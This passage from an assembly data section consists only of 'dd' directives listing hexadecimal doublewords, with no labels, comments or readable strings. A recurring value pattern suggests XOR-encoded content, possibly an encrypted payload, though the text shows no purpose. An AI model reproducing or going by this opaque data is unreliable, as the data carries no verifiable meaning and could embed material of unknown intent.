0CBFCAD30h, 7762B236h, 74DFC5E8h, 7E59532Fh dd 77B13256h, 0EC80C681h, 7F6F4DE3h, 0DCD7556Fh, 20D06B8Fh dd 54BE3E0Bh, 0EAB1325Ah, 75B7B759h, 30BE3256h, 5DB13256h dd 0AEA9BA59h, 44583256h, 8B13256h, 1F79815Dh, 0E043DD3Ah dd 5EEA482Eh, 83AA55F1h, 2388D6Fh, 0A858C75Ah, 0C1B13256h dd 0BD3090E1h, 0C176B127h, 15FBDBAFh, 7C58CDA9h, 2EB13256h dd 0F7C15707h, 0CAD0DD67h, 57BFDA36h, 0C4A03256h, 6383A346h dd 0BB8D6C38h, 8F4F60EBh, 0B5EB5336h, 5DB136D0h, 8C0E5456h dd 0DCD75356h, 0A6595248h, 0D2B13256h, 5F7A4D1Eh, 0A2532607h dd 0E5FE13D5h, 0DDD06BA3h, 2ABEDAADh, 57B1361Ch, 0ABB120BFh dd 35C14956h, 2AFA59EEh, 0C4041987h, 65C5ACA7h, 0DDC123B6h dd 2ABEDBADh, 57B1367Ch, 404AB2A3h, 0D191B659h, 3D13256h dd 75B13242h, 3F1F74EFh, 0B27224C5h, 0F9B4BD5h, 38EBD214h dd 0BF3D315h, 0CC9A93E9h, 0E5D15342h, 75B12AD0h, 0BAA3DA56h dd 0A11B3256h, 4B6FD961h, 6C2584EEh, 23FCCA37h, 0D8B6B1EBh dd 8B69B90Fh, 7A53C9D6h, 0BAB2F5D2h, 5DB4DB56h, 806B3256h dd 375AE0F4h, 0ABB7BD59h, 3D303256h, 80AF136Eh, 33B48A30h dd 594AB237h, 5ED2B659h, 0BE583256h, 5FB13256h, 0B6E668AEh dd 0AD724B5Ch, 9B60B4CBh, 132D289Ah, 59D6C9D7h, 5E33B659h dd 0A1D13256h, 57B139D5h, 0ABB7DB56h, 0FE133256h, 2236C3Ah dd 144BB930h, 0B541D5D6h, 5DB129D3h, 0BB3D3D56h, 0BEB13256h dd 0ABB13246h, 98F4F162h, 4A612CC5h, 5E514E6h, 55365575h dd 524AB330h, 0E5353DD6h, 58B13255h, 0ABB139DAh, 0D5B7DB56h dd 8E4D3256h, 4E11F33Ah, 0DA41D1D6h, 657EB330h, 0CF1F811Dh dd 0B8305436h, 0A4E0FF71h, 0D5B132D2h, 6AD06856h, 0F1BE42ADh dd 0BAB13140h, 433A54AEh, 0AEB123BFh, 7E8A2E56h, 0F7F66F05h dd 0D9C9D6Ah, 99BD892Ch, 96311154h, 0BABDDBAEh, 348B3256h dd 71751D82h, 2587DDE6h, 0A4D10DAAh, 0D5B131D9h, 2D0E3D56h dd 8E3153A3h, 39353DEEh, 0B4B13257h, 0AEB13253h, 0D8EC39C3h dd 0AE8FB206h, 0D4C1B659h, 3D13256h, 75B1325Ch, 0A8AD77E6h dd 0EDC86BC9h, 10D7C8AFh, 0D7D08279h, 2FBE1F68h, 0D5B13304h dd 0EAB122BFh, 4DA3E556h, 5AD9748Dh, 50E41056h, 90D0FB5Ch dd 3F8FB217h, 0AA85B659h, 5EBE3256h, 0EAB1324Bh, 75A6B159h dd 0A8583256h, 95B13256h, 0FC19002h, 0EB28D3DEh, 5B98B4F3h dd 7B1D5086h, 0EAB6DB05h, 94F73256h, 0A6BF63B9h, 0F233CDFBh dd 0A1B72B2Bh, 57B139D5h, 11D75256h, 54D722E2h, 8B044B84h dd 9CAFB930h, 0BAB13253h, 36C9E3F9h, 25D752DDh, 57B7DAADh dd 0CB6D3256h, 0FD3910F3h, 0EAB1BD59h, 14EF3256h, 4649D5D6h dd 0DC4AB330h, 15353DBEh, 58B13256h, 0ABB133DAh, 5ED7CB56h dd 0D31CB48h, 0F4D7C7A6h, 0B571B3ADh, 5DB193D2h, 563A5256h dd 2741B330h, 0A4D153D7h, 0D5B122D0h, 0EABADB56h, 0F2E03256h dd 629F42FFh, 8DCF5493h, 0BF586796h, 0FCB13256h, 0A65902D2h dd 4858B189h, 0BD25705Bh, 49B31071h, 0C176A0A9h, 5158344Fh dd 7B13256h, 0D5549A36h, 4DCF36B5h, 88BF8CC1h, 0EAB0BF59h dd 0FC493256h, 0B5D1CE13h, 5DB12AD9h, 0AEA2DB56h, 44933256h dd 87BA6CA1h, 80EA5E80h, 0CE7625DAh, 0BD82F367h, 0DB7AB91Ch dd 0EFD15237h, 0AE313DFCh, 36B13256h, 57CCB137h, 9D343D57h dd 8AB13254h, 75B6DBAFh, 281A3256h, 0F21147C5h, 143A5397h dd 51A23CEFh, 0ABB13CBFh, 0C4795256h, 353B187Eh, 70611B70h dd 4F904442h, 4C3A3D06h, 47B13256h, 57B1325Ah, 4DE7E549h dd 0AA7AEB29h, 1D731242h, 0DA33B9AFh, 0DAB72B2Bh, 8E31E3DCh dd 9288535Ah, 0D6D75266h, 42E3798Dh, 0D5B13253h, 0D26C81D8h dd 2D48535Ah, 0BB6CB059h, 0B5D13256h, 0AEB1325Ah, 0D2BCEC95h dd 67DB27E6h, 0ECDAE4F3h, 0B57B8D59h, 1490E4D6h, 932888DDh dd 0D9BE3445h, 0AEB13241h, 57B120BFh, 80428756h, 12442389h dd 8725E204h, 2DD95CEEh, 0EA2648EAh, 5DB6BE59h, 24BE3256h dd 57B13257h, 433B9AEh, 0B5B72B2Bh, 0DA8D0B37h, 410E5436h dd 0AC363DD8h, 0B5B13256h, 0AEB13246h, 0A43367BFh, 0C6794ED8h dd 47DD8D32h, 7E675628h, 0FED1530Ch, 0DBD152A6h, 3C4ED8D6h dd 21BE6A37h, 57B13305h, 0ABA0BA59h, 0D9583256h, 1AB13256h dd 96A36A78h, 20C6C4C2h dd 0B4DE2552h, 0AEB13218h, 0AFF4F5AEh, 0ABB13254h, 0D5AABD59h dd 6ABE3256h, 75B13243h, 0BAB122BFh, 43652056h, 8B0D2B85h dd 6B3B7B02h, 4B35698Bh, 0CA58C71Ah, 1FB13256h, 75BBB759h dd 0BF583256h, 0E3B13256h, 9C3FC317h, 56497791h, 0A4B13256h dd 0D5B133DEh, 503ACA56h, 73A8491Bh, 433A5436h, 5DB13DBEh dd 0B04EAC56h, 2404432h, 0B91A700Ch, 6BA5BFF2h, 7C398930h dd 6A3A530Dh, 0BAB123BFh, 8D4E6256h, 0CF60E4CDh, 8A1161E0h dd 6AE1FC41h, 0EBAF28Ah, 0EA14B659h, 0F4D13256h, 3725F285h dd 0DEBE5203h, 0AEB13256h, 0A97BC1D7h, 0CAD02FD8h, 50BEEC6Dh dd 0EAB13201h, 13D05236h, 31D0C2DDh, 0B4D13E0Bh, 0AEB13250h dd 230C599Ch, 503A77E2h, 2DCCB137h, 0CB353D56h, 9CB13256h dd 0BAB13251h, 641F80D5h, 52E6E580h, 0BE496F55h, 0ABB1325Ah dd 26976B34h, 6EB14084h, 3C392BA1h, 53B56DDFh, 5DB1325Dh dd 0EFD46AF1h, 35FC6898h, 28924051h, 58BE2691h, 0EAB13257h dd 8AEDDBA3h, 0ECD1CDA9h, 0BBF2F8D7h, 0C8EF00E9h, 64D0E8DDh dd 0CA485296h, 0D5B476BFh, 0F50B5256h, 13CB4EFBh, 0DCD0E1DDh dd 5A582CDDh, 0BB13256h, 5365223Ah, 43D1CBCFh, 0D5B1325Eh dd 0F8210373h, 0A7F3D9BDh, 0DBEB5336h, 52BD4FDDh, 0AEB13BDDh dd 58445256h, 0ABB132DFh, 2E315356h, 89353DBDh, 7AB13256h dd 0BAB121D9h, 57585256h, 0F9B13256h, 0BD98A298h, 63977EF1h dd 0B46FB931h, 0E541D1D6h, 75B123DAh, 0B13A3D56h, 0B4B13256h dd 0AEB13250h, 0B8CAF06Ah, 50313D5Dh, 66353D26h, 16B13256h dd 1E338A36h, 0B5D1381Fh, 5DB132DBh, 47D05356h, 57B13368h dd 0ABBDB359h, 50BE3256h, 0EAB13250h, 75B1B659h, 0BD773256h dd 5B373DBFh, 0CEB13256h, 0AE70B930h, 0AAF6F537h, 0D5B13256h dd 0EAB9DB36h, 0E2A3256h, 0FB92B8B0h, 50588BCAh, 94B13256h dd 4F459262h, 7425B8C7h, 8ABB6116h, 8A76B937h, 0CE06EAD7h dd 0E8D11B63h, 0B230540Fh, 0CFD0AA20h, 57B120BFh, 0A76C2D56h dd 3E35461Bh, 0FDC4BA23h, 0D5391860h, 391B30AEh, 50583796h dd 0E0B13256h, 5AAE8FBAh, 0BD2BEBEAh, 220DB152h, 0EAB512BFh dd 0BE305256h, 0EFF19B64h, 0BD305436h, 910799E4h, 90D75337h dd 57B93D51h, 0B3D12CDCh, 5178F7ECh, 134A9BFDh, 0BAA3DB37h dd 811B3256h, 0F12BFA35h, 8C0199AEh, 2CCF3508h, 30332D5Ah dd 8ABED1D6h, 75B13FBFh, 2028E556h, 0E0C9D100h, 0C5EA88E5h dd 0DCD7C69Ah, 603153A7h, 8A39CBD6h, 24095257h, 1488949Bh dd 0BAB37591h, 0B4B13256h, 0AEB13253h, 37A1CA78h, 4276B91Fh dd 0D5B1325Ch, 0FA40794Ch, 101BEE35h, 7A32CF8Dh, 0CF58CE50h dd 0CEB13255h, 3B7BD1D7h, 0AD595371h, 8B13256h, 8E191BB8h dd 75BBDB1Eh, 2DA13256h, 49BA546Eh, 0F50E9B7Ah, 0D6D7530Dh dd 0A421A268h, 0D5B14FD2h, 0B305256h, 0F3220BCh, 0BAB2B859h dd 89313256h, 9031538Bh, 3B343DC6h, 0CBB13256h, 0D5B138BFh dd 0B65B6E56h, 3F7271A7h, 2C70111h, 32468447h, 0AEBBDB37h dd 0FD863256h, 66C29F98h, 0D09847C4h, 15CFB330h, 0F1BEA2C6h dd 0BAB13264h, 5DB138BFh, 95032C56h, 0B4292601h, 42ED1B4Ch dd 0D5B1325Ch, 0D180ACF2h, 5086547Ah, 0A2583E6Bh, 52B13256h dd 0AEB13BDDh, 584D5256h, 0ABB132D6h, 123A5356h, 0E86EDBAEh dd 0F84D3256h, 0A3CFADD4h, 0CD095250h, 0C8A85B5Dh, 0BE1FBD7h dd 0FD486237h, 0D23CDA3h, 12B72B2Dh, 9CD1C736h, 0BAB1325Bh dd 0C312EA5h, 2ECBD56Fh, 956B1E59h, 0CAE5822Fh, 0DA713937h dd 0EAB192D2h, 64585256h, 0E8B13256h, 0BCFCC181h, 901C6972h dd 413C0CA3h, 0CE348243h, 0D5B134BEh, 0A6A4E856h, 13FA42FAh dd 62C7E4D7h, 953A5308h, 0AEA9B059h, 0D2BE3256h, 0ABB13244h dd 0D5B13FBFh, 4EA29B56h, 6576E1BAh, 68185B2Fh, 0D0BEF8B6h dd 0AEB13243h, 57B122BFh, 496B7E56h, 75E305BBh, 0E11F6F4h dd 0F8F1EBE4h, 2503BFAEh, 0B4B72B28h, 0AEB1325Ah, 0CFD5CA44h dd 605B5745h, 0CB498EA0h, 0EAB1A8BFh, 6F303D56h, 0DAB13256h dd 5DB120BFh, 0BDD61D56h, 21DC20FCh, 3D155F5Eh, 6A6FD7BAh dd 168CBB70h, 64586437h, 2AB13256h, 0E27DB621h, 61640F12h dd 2AE3D027h, 0F236732Ah, 0D5B137BFh, 84BC4356h, 0BB3A433Dh dd 0A9586136h, 8BB13256h, 9027A4A8h, 80A0637Eh, 9C69927Eh dd 0ECFD4201h, 8CEA9F02h, 7A10E4D7h, 0B4586737h, 0ACB13256h dd 0AAB0D030h, 8F4C7EA2h, 0B50C33Ch, 1223CDCDh, 13B72B2Dh dd 0B500520Bh, 0DBE8CA05h, 0AA49FC7Dh, 25D7528Fh, 57333DA6h dd 0CAB13256h, 56446CAAh, 0E5B0CA2Bh, 75B181D3h, 0BE3E3D56h dd 3DB13256h, 1ED0FDDDh, 57B4DB1Fh, 0AB883256h, 7F2A9E13h dd 0EAB9B659h, 0F0BE3256h, 0BAB13254h, 0DCD15336h, 4662ED85h dd 0EFD7535Ah, 28BEB759h, 0D5B1325Ah, 0EAB7BE59h, 0F2BE3256h dd 0BAB13256h, 0DEBE9930h, 0AEB1325Eh, 57B3BA59h, 0CAD13256h dd 0F90B6536h, 0B4E3A09Eh, 33073D37h, 38BE5257h, 5DB13246h dd 0AEB138BEh, 0BDB0E256h, 9F328E99h, 8A9851DDh, 3960B330h dd 7A1A53CEh, 0BAB133D0h, 8458CA56h, 47B13256h, 57B13245h dd 0DB8CB33Dh, 3EFFF384h, 0A69295F1h, 0AC445994h, 0B5EB4817h dd 5DB139DAh, 0AEB7DB56h, 45F03256h, 99BF3DA4h, 0D7494FD5h dd 0EA3BB759h, 0F5D13256h, 0DBE6F8Fh, 0E5D7539Dh, 22BEFB5Dh dd 57B1325Bh, 0ABB13ABFh, 7C4E756h, 340B3E02h, 610A5230h dd 319EE6CAh, 0F6D7538Ch, 0A10954AAh, 0FCD7C7D2h, 0ED073DAFh dd 6ABE5257h, 93054A6h, 7AD0B71Bh, 0BAB121D8h, 5DBFDB56h dd 5A463256h, 9F4C8E47h, 9B4F5A32h, 0E3C68054h, 0EAA0DBFDh dd 0DFBA3256h, 1263930Ch, 40A5A8F1h, 0B19C66EFh, 0BED9B2EBh dd 0ABB13266h, 0D5B0B959h, 0E5483256h, 75B135D5h, 3BD75256h dd 3CF821A4h, 47D196A5h, 57B13251h, 10ECAD60h, 0B5A478EFh dd 1D28D30h, 14D0F5DDh, 0DB6FB936h, 4F58F5DDh, 65B13256h dd 5BEB4F5h, 3C3DE77Eh, 73F96A42h, 769868F4h, 2C496957h dd 0BAB121BFh, 23196156h, 6740F0F4h, 0BCE8E328h, 0C75E74FEh dd 0FFA76AF4h, 0EAB13ABFh, 0CE407656h, 0A792344Bh, 5A586C68h dd 8BB13256h, 8B0EA6FCh, 28BEA7B0h, 0D5B1325Eh, 0EAB3B059h dd 14D13256h, 31D75209h, 3CD152ADh, 0AEB137BFh, 6B814A56h dd 0CAD0E175h, 0DD73CB9Fh, 0E8323D56h, 15B13256h, 0B5D15237h dd 5DB132DAh, 0A76EB356h, 36FE2861h, 0CAEACE06h, 0C63F3D03h dd 3B13256h, 75B13258h, 0F948DA5h, 96330F5Dh, 65443F18h dd 0BB3A77FDh, 0BA5852AAh, 0EFB13256h, 7E94CE56h, 90187076h dd 0FB76D89Fh, 8FBFDD0Eh, 0AEB132BEh, 0BD306856h, 0ADA89EBDh dd 0D5B13DBFh, 450E2F56h, 828873E0h, 0BA55CCE2h, 43C2DA50h dd 0AEB126BFh, 702BB256h, 708C28D9h, 0E78406C3h, 5BEC1F04h dd 0C7F651BFh, 0FF3ACEDCh, 5DBCDB5Eh, 763D3256h, 73E47155h dd 30A5AA19h, 0B580C34Ch, 0EAB120BFh, 0BBF13656h, 3958233Dh dd 11FCC6C5h, 6A6F5A12h, 0DDEB390Ah, 293853BDh, 0D3A84924h dd 0EAB139BFh, 9250FC56h, 0D9241A44h, 69860D05h, 0A85853AAh dd 0E4B13256h, 3412C0E8h, 0DE58FBB6h, 26B13256h, 0EFF8F647h dd 4264DEF0h, 0D2BE2D37h, 0AEB13257h, 57B5F0AFh, 574467AEh dd 0B4D1DEDDh, 349F6D5h, 75B13244h, 0BE680CFFh, 875B785Ah dd 0F5FF7C6h, 0EDF896C8h, 0CB4954BFh, 0D5A2B359h, 0E4583256h dd 0A4B13256h, 7C3E9134h dd 0DBF3E50Dh, 108F061Eh, 5759CE01h, 0F1B13256h, 7860D8D7h dd 0E358344Fh, 0B7B13256h, 0FFC297C5h, 5F6BDE6Bh, 356EB336h dd 5890385Dh, 0CBD0FAE1h, 0D5B7B859h, 23303256h, 0F812436h dd 0DB7FB930h, 5D497791h, 47B13256h, 57B13247h, 0B2F3784h dd 46C54068h, 7ABE0641h, 0A22E42F6h, 46F4F580h, 5DB13256h dd 0AEB13CBFh, 0A7AB8A56h, 0DFC8172Dh, 0D07C5E46h, 0D9EEE959h dd 0F9BE5296h, 0BAB13250h, 5DB1B559h, 0CED03256h, 5158E1DDh dd 0F1B13256h, 22529100h, 61D75378h, 75B9DB48h, 0C5373256h dd 7304B4EFh, 2C76389Dh, 51A84FF9h, 0ABB13257h, 0D5A0B159h dd 0E6583256h, 4DB13256h, 81222AC0h, 0F9624940h, 0A158DAFAh dd 57B133DAh, 2AD7CB56h, 0DA21A2ADh, 0EAB129D3h, 75BCDB56h dd 407E3256h, 8A310C1h, 88E4272Bh, 379D7971h, 5C84C0EEh dd 0B46FB975h, 0E559C9D6h, 75B426D2h, 0B5F1CE56h, 5DB123DBh dd 0A5313D56h, 0BEB13256h, 0ABB13250h, 0F4A743CDh, 1131A972h dd 87353DBFh, 0B5B13252h, 5DB12BD4h, 0AEA5DB56h, 69823256h dd 1C64E775h, 46D9ADCDh, 1E4C22DDh, 0CD3920D1h, 46F1CA15h dd 525AC9D6h, 0AEB5FAD2h, 57B7DB56h, 45AD3256h, 0F776B7CCh dd 8B6FB936h, 9231CE16h, 0AB5852A6h, 84B13256h, 4D761EDCh dd 94B92EADh, 81EA29AFh, 0A133EEEDh, 11305437h, 0F1BEB259h dd 0BAB136C7h, 7C3331AFh, 5BB72144h, 31D15216h, 21C9C0D7h dd 0D5B120BEh, 0D4FC4C56h, 3A733A43h, 0F5318820h, 56FCFF12h dd 0F70CA3E3h, 57A1DB37h, 99DB3256h, 0FC6591B7h, 18B997D0h dd 436B3ACBh, 3AD04761h, 0D9BED0ADh, 0AEB13649h, 3660B936h dd 0A452C9D6h, 0D5B2DED2h, 0E53D3D56h, 9CB13256h, 0BAB1325Ch dd 34F20532h, 0E51721D5h, 0BFD126EBh, 0ABB13246h, 0E101CCBEh dd 17879270h, 0A9655ADCh, 412FBCB3h, 5DB120BFh, 1198FD56h dd 80B5D8Dh, 0C4AA1F0Eh, 0BBFB4A2Ch, 0B2CB1DFCh, 2C53B330h dd 3BD75342h, 525255ADh, 0AEB28CD2h, 0A03A5256h, 0B9FC8A30h dd 2552B237h, 0EAB9BF59h, 0F1BE3256h, 0BAB13254h, 0A6315336h dd 68353D26h, 0BEB13255h, 0ABB13247h, 0A93473DCh, 10A85B5Fh dd 23EF3AE7h, 0B7125A99h, 433A54AEh, 5652B2A3h, 57B0BE59h dd 2B483256h, 51BE8AADh, 0EAB133F1h, 75B13EBFh, 8B82CA56h dd 4BA9D1E0h, 68EACBCh, 528FB2FCh, 0AA3CB659h, 57BE3256h dd 0EAB13244h, 75B13FBFh, 85044356h, 0C1ECF4EFh, 0C57656A3h dd 0D5BE286Eh, 0ABB1325Dh, 0D5B134BFh, 0A3CFC356h, 0F580AB5Ah dd 3EBE1F68h, 5DB1330Dh, 770E3D36h, 3640B930h, 0A4D90CD6h dd 0D5B078D2h, 1FF1CE56h, 733B3D36h, 0B5B13256h, 5DB132DBh dd 2C4E5356h, 51A84FF9h, 0ABBCDB36h, 7B773256h, 1D469053h dd 322868E4h, 0DB3F068Eh, 3DAFB930h, 0AEB7B759h, 9C303256h dd 0AF8D9693h, 0D5B3BD59h, 0B5E13256h, 0F4D75237h, 0B561F891h dd 5DB130DBh, 0CFEB6256h, 3749D5D6h, 0CDD05236h, 0B4F1C4EDh dd 0EAB126BEh, 0F2DBAC56h, 729231AEh, 0F9EE448Ch, 0DA35EDEEh dd 31E765EBh, 0CDD06B5Fh, 3D30C9D7h, 0EA74B659h, 134D3256h dd 30BE2CDDh, 5DB1325Ah, 0AEB7BC59h, 0DEBE3256h, 0ABB13256h dd 2556B2AAh, 0EAB135BFh, 8E04A756h, 0EDE20968h, 0A63054AAh dd 2ABEF2D7h, 57B132C5h, 24BE52AEh, 0D5B13251h, 0EAB0B259h dd 20443256h, 0BAB13CBFh, 5DD41356h, 0D9A15767h, 0B0462052h dd 5483668Eh, 0CCCAF5C4h, 60D15250h, 0BC305490h, 0B5D0E122h dd 5DB130D9h, 0CFD05256h, 5B303D0Bh, 0A4B13256h, 0D5B134DEh dd 0EA3F3D56h, 9CB13256h, 0BAB13259h, 1D3197D8h, 0BA58AABCh dd 1AB5CACh, 22567835h, 0D958CE13h, 0E4B13256h, 4F83F0Ch dd 0FB5F9702h, 0B4ED09D7h, 0AEB1325Ch, 0AE558F8Dh, 172DDC10h dd 29D09008h, 0EB4D4FD5h, 73DDB759h, 31483256h, 4EBF8BECh dd 0B3353D50h, 58B13256h, 0ABB125D5h, 0D5A3DB56h, 5A593256h dd 0F961C828h, 5A162C56h, 6D527C1Fh, 0D26CFDA7h, 57B4DB06h dd 5CAF3256h, 5E9D6255h, 0F3CC9DD4h, 4988CE50h, 0BAB8DB66h dd 83CD3256h, 0BC459066h, 58A6CB91h, 0ABB137D7h, 5ED75256h dd 0E5E95398h, 75B73FD4h, 3ACB56h, 5BA21BCFh, 0AEA8BB59h dd 43583256h, 0BEB13256h, 93FA8399h, 0D194DF8Eh, 7E7F1226h dd 4B46FE6Ah, 0DD1CFB2h, 0AEBEBB59h, 5D583256h, 4AB13256h dd 252C589Ah, 36E4D9F2h, 0F73ACB42h, 0BCA84FF9h, 5F3A3D36h dd 0F8B13256h, 6B88530Fh, 0A4E9C766h, 0D5B487D9h, 0FB393D56h dd 9CB13256h, 0BAB1325Ah, 9BD6DECEh, 9AD1AB5h, 0DB9D7B88h dd 0F00BB9AAh, 0DAB72B2Dh, 0EAB123D4h, 7E353D56h, 53B13256h dd 5DB13250h, 0A5B3F970h, 0D5321EC6h, 0ADA8490Dh, 55D1CE42h dd 63D0CF8Eh, 0A2315261h, 703A542Ch, 4DF6BB37h, 0A5585236h dd 0A8B13256h, 27CFD820h, 68F11B20h, 6BD7F75Dh, 1494B3BEh dd 3FBE6237h, 5DB13243h, 0AEBEB159h, 5D583256h, 32B13256h dd 48BA67AEh, 661C2331h, 0DA33B999h, 46B72B2Bh, 0B4812EDDh dd 0AEB1325Dh, 328A6A2Bh, 0E95ECE14h, 8D9C6878h, 0EAA6BA59h dd 67583256h, 98B13256h, 40F6B686h, 0DA78056Ch, 82DAD076h dd 0B5F61D3Bh, 0DDEEBBEAh, 8C748236h, 14D25FE9h, 0BAB5DBBFh dd 47323D56h, 0A1B13256h, 57B126DEh, 0ABBEDB56h, 17333256h dd 89769EC7h, 3363AD93h, 0E9204167h, 0A5F4F593h, 0AEB13254h dd 99063D36h, 7C305237h, 0C5662337h, 0EA86DB37h, 0F4BE3256h dd 0BAB13251h, 5DB0B959h, 694D3256h, 57B0CA13h, 42D13256h dd 0D5B1325Dh, 3536251Ah, 0CA37E1CBh, 0B5B77108h, 5DB139D7h dd 0AEB4DA56h, 302B3256h, 0F08E48C2h, 8E0BB937h, 8AB72B2Dh dd 75B0BA59h, 0DB4D3256h, 26EAB0D5h, 0CEA5344Fh, 57A3B159h dd 0A7593256h, 0CAB13256h, 64303C1h, 3D110AD7h, 0E147BFC8h dd 3BEE6436h, 81DBC4D7h, 0D0BE5337h, 0ABB13257h, 2C86BBA3h dd 8AA175DFh, 7649B137h, 0BA87B759h, 9A443256h, 0B7CC9DD4h dd 57B13050h, 0ABBADB56h, 7F6F3256h, 0D0C7669h, 0A24B3D68h dd 0BA91DB9Dh, 4C583256h, 2FB13256h, 3E243C5Eh, 29F88E4Bh dd 34796209h, 0D500E90Fh, 7AB3CAD5h, 0BAB309DBh, 2032C756h dd 2ABE32AEh, 57B132D7h, 0ABBAB059h, 55D13256h, 6DBEF7B6h dd 75B13256h, 0CBEC737h, 0F44D3310h, 0AEB132D6h, 5795B759h dd 0EB443256h, 0D5BADB36h, 1EBB3256h, 84820A6Ch, 0DE90B1Eh dd 0B53253F2h, 8358C753h, 58B13256h, 0ABB133DBh, 2A9CC756h dd 0E5B13256h, 75B135DAh, 0BB313D56h, 0A1B13256h, 47B4DAD5h dd 57B1325Ah, 0FAA3946Eh, 85423E6Dh, 3BD080EAh, 75B160BFh dd 0B03C3D56h, 3DB13256h, 2DBE2FE1h, 57B13256h, 22BE6137h dd 0D5B1325Ch, 0EAB137BFh, 82FB6156h, 203A58D9h, 5BA84FF9h dd 0AEB123BFh, 0A9D8A656h, 0ABB29511h, 4CC54279h, 1E05B71Fh dd 713AB56Ah, 53EAC765h, 5DB1325Dh, 132609A4h, 0D3F2969Eh dd 29DF8DEh, 55B13256h, 0EACCB759h, 7A443256h, 0BAB13ED9h dd 5B303D56h, 0A1B13256h, 57B132D8h, 53773156h, 0B5B4F2D5h dd 0EAB13BBEh, 50081E56h, 8C19C959h, 3CEFC723h, 13331A3h dd 0AFB72B2Bh, 0ABB8DB1Eh, 0C75F3256h, 0A1ED367Fh, 0FC6AA095h dd 0AA583A11h, 0F5B13256h, 0D556C280h, 0E5AECE04h, 7AE8F5E4h dd 5C3E9134h, 3483E11h, 75B130F8h, 0A8383D36h, 0B4B13256h dd 0AEB1325Bh, 2A1FBC63h, 0F41AA776h, 706F495h, 1D4853B8h dd 75B9DB8Eh, 4BFC3256h dd 0B32CA214h, 0A1D120BFh, 57B130D4h, 0CBD05256h, 0E9B189EEh dd 183A5402h, 0B39A5337h, 0BAB9BC59h, 0DCD13256h, 3AFF084h dd 8F465358h, 0ABB120BFh, 8A759D56h, 2156B2B4h, 8889A6EBh dd 90CCFA3Ah, 0DE0EF8DBh, 21BE3796h, 57B1325Fh, 16518B36h dd 0B4D14D6Dh, 45333137h, 89B72B2Bh, 0B358521Eh, 0FB13256h dd 3BE3B8E9h, 0EE9FE173h, 0CA4BB930h, 0B5B975DFh, 0EAB122BFh dd 6E214256h, 51AB27F6h, 0A53D1AE5h, 51496198h, 0A531609Eh dd 22D06B65h, 5FBE3E11h, 0EAB1324Fh, 75B126BFh, 1D0ED756h dd 0B7A9F55Dh, 3672DD6h, 0C6F7801Dh, 0E0BCCEFEh, 0D5A1DB04h dd 1D7E3256h, 5E61DDACh, 3E513E2Ch, 0CC2C1781h, 1158C803h dd 0BEB13257h, 0ABB1325Ah, 4081D549h, 0D41F03EDh, 363CDF26h dd 0B548F265h, 5DB13DDCh, 0AEBBDB56h, 0F1603256h, 7DAF53FFh dd 0DBD96608h, 3B074DCh, 75B1325Ah, 7B2A83A9h, 0D291C5A3h dd 886C1BABh, 0D2BEB2FEh, 0ABB132E9h, 0D5B126BFh, 0A4927B56h dd 3A043303h, 8E9B58F5h, 701D8506h, 2F303551h, 0BE77312Dh dd 0ABB1325Dh, 3EEBA6D1h, 7FA18125h, 0F6BA97CDh, 0B4583096h dd 0EDB13256h, 0EB94FD9Fh, 41C1C29h, 0D1751E17h, 0D5B08999h dd 0E14D3256h, 36353D8Dh, 0DAB13256h, 5DB123BEh, 0E5664856h dd 3A06252Ah, 2C290A5Fh, 8A5E860h, 283AFBB5h, 0EF0F5409h dd 203B53A9h, 5BA9A97Fh, 0AEB126BFh, 0F71D2E56h, 9C9D282Ah dd 0A4AA2DCDh, 338B45C0h, 165E112Eh, 5931CE7Bh, 9EB2CB57h dd 0AEA5DB36h, 53863256h, 0C2116D04h, 20CF3724h, 0E4E65728h dd 0FBB161Ch, 33D09483h, 0A4443A11h, 52BD75DFh, 570DDBAEh dd 5C443256h, 0D5A3DB8Eh, 0D3BB3256h, 909AD37Ch, 3C591135h dd 219C7960h, 4EB46647h, 57BAB059h, 0AD583256h, 1EB13256h dd 4F2FC261h, 754E1786h, 0B4583256h, 63B13256h, 8185C5EFh dd 8BB4FAF2h, 2C9815F2h, 0DA771967h, 0EAB135D4h, 74383D56h dd 43B13256h, 0B5D1EAA1h, 0AEB1325Ah, 66A9A68Bh, 1267E13Bh dd 41EE94C9h, 0F95869AFh, 10B13256h, 8F20CFD1h, 933E29DBh dd 9EDF82AEh, 22587944h, 42D06EE8h, 0D5B1325Bh, 372288EDh dd 0E06FA90Eh, 40EFB62Fh, 5F71B1E6h, 0AEB13ABFh, 0F8B37556h dd 0A288F905h, 0DDF6BB5Ah, 0E6F6BBAAh, 0B23A5436h, 0BAB13ABFh dd 0BDE9556h, 0F25067F8h, 584953E0h, 0ABB139D7h, 990E5256h dd 8C83319Ch, 148A4EEEh, 0B2313D37h, 3DB13256h, 0D3BC8830h dd 9ED05336h, 25BEF1AEh, 0D5B1324Eh, 0EAA3B059h, 78583256h dd 1FB13256h, 1902759Ch, 5C0F8137h, 8651ADF5h, 0ABBDDB03h dd 0D2013256h, 6EDCDAC6h, 6EBBED4h, 563A08A6h, 0BD305436h dd 2DD0D75Fh, 0D6BECE92h, 0ABB13251h, 0D5B0B759h, 8A4D3256h dd 75B6B759h, 3FBE3256h, 5DB13257h, 0AEB1DAA3h, 0D6EB3256h dd 0B209FEBCh, 0C13C3D50h, 3B13256h, 75B13259h, 0B393DEB3h dd 226763D1h, 0F34EC11Fh, 3787360Dh, 0ABB122BEh, 47B7B856h dd 0C703E276h, 17F424EBh, 1E381DD9h, 5D313DE4h, 0F1B13256h dd 1A0BB937h, 0CBB72B2Dh, 0B3768D59h, 0D9D0CADDh, 4A32C79Fh dd 63353D56h, 3DB13255h, 0AEB7B259h, 0DCBE3256h, 0ABB13256h dd 0C9FDE3D7h, 61D03100h, 8AD05251h, 45493E23h, 0D0BE3A23h dd 0AEB1325Eh, 57B3BC59h, 0CAD13256h, 0C3363D06h, 3B13256h dd 75B13247h, 90ED27FCh, 0E683E640h, 52BDA452h, 254FA8E7h dd 0A367DA62h, 5ABE3256h, 0EAB1325Eh, 75B3BF59h, 0DBD13256h dd 0D8BEF25Dh, 0AEB1324Ah, 57B0BE59h, 20443256h, 0D5B9DB51h dd 0EECB3256h, 5F7E7A21h, 96583EF1h, 0A5B13256h, 47A5F5D5h dd 57B13250h, 57771464h, 0B6582765h, 34ECDA9h, 75B13245h dd 4F58F9F5h, 0F2384AD9h, 0B3B80A06h, 1880B84Ah, 223D9C39h dd 2A44CE13h, 6ABE3E23h, 75B13257h, 0B2C4CDA3h, 5DB6B059h dd 27BE3256h, 57B13257h, 5386CDA3h, 0D5B961BEh, 2ABACB56h dd 75A5B659h, 0B5493256h, 5DB133DCh, 5F58CB56h, 58B13254h dd 0ABB133DBh, 903ACE56h, 0ED88CAAAh, 776FB059h, 45493256h dd 